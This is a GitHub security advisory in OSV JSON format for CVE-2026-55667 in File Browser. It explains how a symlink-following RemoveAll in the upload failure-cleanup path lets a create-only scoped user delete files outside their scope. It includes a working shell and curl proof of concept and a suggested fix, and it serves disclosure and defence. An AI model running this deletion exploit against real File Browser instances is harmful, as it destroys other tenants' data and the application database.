CVE-2026-55667: File Browser Out-of-scope File Deletion By A Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-fmm7-x4gx-8jhr",
  "modified" : "2026-07-20T21:17:24Z",
  "published" : "2026-07-20T21:17:24Z",
  "aliases" : [ "CVE-2026-55667" ],
  "summary" : "File Browser: Out-of-scope file deletion by a Create-only scoped user via symlink-following RemoveAll in upload failure-cleanup",
  "details" : "## Summary\n\nA scoped, non-admin File Browser user holding only the **Create** permission can delete arbitrary files outside their scope (other tenants' data, and the application's own database) via the upload failure-cleanup path. This is an incomplete fix of CVE-2026-54094: the v2.63.14 `ScopedFs` containment wrapper was applied to read/write/list/rename but NOT to the delete path. Confidentiality is preserved (reads stay blocked); integrity and availability are not.\n\n`ScopedFs.RemoveAll` is the one dereferencing operation that skips the symlink `guard` every other method enforces. The direct-upload handler runs `RemoveAll` on the user-controlled path during failed-upload cleanup, gated only by `Perm.Create`. If an escaping directory symlink already exists inside the user's scope, an authenticated create-only user can delete an out-of-scope target, bypassing both the `ScopedFs` boundary and the `Perm.Delete` gate.\n\nAffected code: https://github.com/filebrowser/filebrowser/blob/be23ab3a15bf957928ecfed88de5ab67850c1b9c/http/resource.go#L172-L174\n\n## Details\n\nCVE-2026-54094 was fixed by a `ScopedFs` afero wrapper whose `guard()` resolves every path component with `filepath.EvalSymlinks` and rejects out-of-scope targets. `guard()` is invoked on read, write, list, rename, stat, etc. The fix is incomplete; two gaps combine:\n\n1. `ScopedFs.Remove` and `ScopedFs.RemoveAll` skip `guard()` (`files/scoped.go:138-144`) — they call `s.base.Remove/RemoveAll` directly, unlike every other method.\n2. `resourcePostHandler` does not return on a `NewFileInfo` containment error (`http/resource.go:125-180`). For an out-of-scope path `NewFileInfo` fails, but the handler only uses that for the override branch (`if err == nil`) and falls through to `writeFile`, which is correctly guard-blocked and errors — triggering the failure-cleanup `_ = d.user.Fs.RemoveAll(r.URL.Path)` (`http/resource.go:173`) on the unvalidated path.\n\nBecause Go's `os.RemoveAll` follows a symlinked ancestor, `RemoveAll(\"link/secret.txt\")` where `link -> /srv/victim` deletes `/srv/victim/secret.txt`, outside scope. The HTTP response is 403 (write blocked), masking the deletion.\n\nOf the three handlers calling `RemoveAll`, only `resourcePostHandler` is exploitable; `resourceDeleteHandler` (`:114`) and `tusDeleteHandler` (`:264`) return the `NewFileInfo` error first (shadowed, confirmed by negative controls). If the target is a directory, `RemoveAll` recursively removes out-of-scope contents.\n\n## Precondition\n\nAn escaping directory symlink must already exist inside the user's scope. File Browser exposes no symlink-creation API, so it is planted out of band (admin, mounted/shared volume, restored backup, extracted archive, another process). This is the same threat model accepted by CVE-2026-54094.\n\n## Proof of concept\n\nRoot `/tmp/fb-root`, a Create-only non-admin user scoped to `/scope` with `Perm.Create=true` (and `Perm.Delete=false` — the bug must not need it), and a pre-existing symlink `/tmp/fb-root/scope/link -> /tmp/fb-out`:\n\n```sh\n# 0. Layout: server root + an out-of-scope dir holding the victim file\nmkdir -p /tmp/fb-root /tmp/fb-out\necho keep > /tmp/fb-out/victim.txt\n\n# 1. Init DB and pin the server root\nfilebrowser -d /tmp/fb.db config init\nfilebrowser -d /tmp/fb.db config set --root /tmp/fb-root\n\n# 2. Create a CREATE-ONLY, non-admin user scoped to /scope. perm.delete=false is the point: the bug must not need it\nfilebrowser -d /tmp/fb.db users add victim hunter2 \\\n  --scope=/scope \\\n  --perm.admin=false --perm.create=true \\\n  --perm.modify=false --perm.delete=false \\\n  --perm.rename=false --perm.share=false --perm.execute=false\n\n# 3. Plant an escaping directory symlink inside the user's scope. Out-of-band, per the threat model\n#    (admin, mounted/shared volume, restored backup, another process). No FileBrowser API creates this.\nln -s /tmp/fb-out /tmp/fb-root/scope/link\n\n# 4. Start the server\nfilebrowser -d /tmp/fb.db -a 127.0.0.1 -p 8080\n\n# 5. Log in; the JWT is returned as the raw response body\nJWT=$(curl -s -X POST http://127.0.0.1:8080/api/login \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"username\":\"victim\",\"password\":\"hunter2\"}')\n\n# 6. Trigger: POST to a child of the symlink. The guarded write (MkdirAll/OpenFile) fails with 403,\n#    and failed-upload cleanup then runs the UNguarded RemoveAll(\"/link/victim.txt\").\ncurl -i -X POST -H \"X-Auth: $JWT\" --data 'x' \\\n  'http://127.0.0.1:8080/api/resources/link/victim.txt'\n\n# 7. Impact check\ntest ! -e /tmp/fb-out/victim.txt && echo \"IMPACT: out-of-scope victim.txt DELETED\"\n```\n\nMinimal HTTP summary (Create-only user `carol`, scope `/attacker`, pre-existing symlink `/attacker/link -> /srv/victim`, file `/srv/victim/secret.txt`):\n\n```text\nGET  /api/raw/link/secret.txt        -> 403 (read containment still holds — the v2.63.14 fix)\nPOST /api/resources/link/secret.txt  -> 403 (write blocked)\n   => /srv/victim/secret.txt is DELETED (unguarded cleanup RemoveAll followed the symlinked ancestor)\n```\n\nVerified blast radius (per-case HTTP + on-disk before/after captured): create-only no-override deletion; cross-tenant deletion; full-instance DoS (delete the database dir → all users/shares/config gone, admin login fails); negative controls on the DELETE sinks (403, file survives).\n\n## Impact\n\nA per-tenant / per-share scoped user with only Create can destroy any file the File Browser process can reach via a symlink lexically inside their scope: other tenants' data or the application database (instance DoS). A create-only user deletes out-of-scope files reachable through an escaping symlinked directory, bypassing the `ScopedFs` boundary and the `Perm.Delete` gate. If the target is a directory, `RemoveAll` recursively removes out-of-scope contents. Precondition: a symlink present in the user's scope — identical to the parent CVE-2026-54094, which the project treated as in-scope, and which arises naturally via mounted volumes, restored backups, or extracted archives.\n\n## Suggested fix\n\n1. Add `guard()` to `ScopedFs.Remove` and `ScopedFs.RemoveAll` (`files/scoped.go`), mirroring the other methods (closes the class for all callers).\n2. Defense-in-depth: in `resourcePostHandler`, return early when `NewFileInfo` returns a non-not-exist error (do not fall through to `writeFile`/cleanup on a path that failed containment).\n\n## References\n\n- Incomplete fix of CVE-2026-54094 / `GHSA-239w-m3h6-ch8v`.\n- Affected code: `files/scoped.go` (`ScopedFs.Remove`, `ScopedFs.RemoveAll`), reached from `http/resource.go` (`resourcePostHandler` failure-cleanup, line 173).\n- Confirmed unpatched at HEAD `be23ab3` (`v2.63.15`); no open issue/PR addresses the `Remove`/`RemoveAll` gap.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:N/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/filebrowser/filebrowser/v2"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.63.16"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.63.15"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-fmm7-x4gx-8jhr"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-55667"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/filebrowser/filebrowser"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/filebrowser/filebrowser/blob/be23ab3a15bf957928ecfed88de5ab67850c1b9c/http/resource.go#L172-L174"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22", "CWE-59" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-20T21:17:24Z",
    "nvd_published_at" : "2026-06-25T19:16:43Z"
  }
}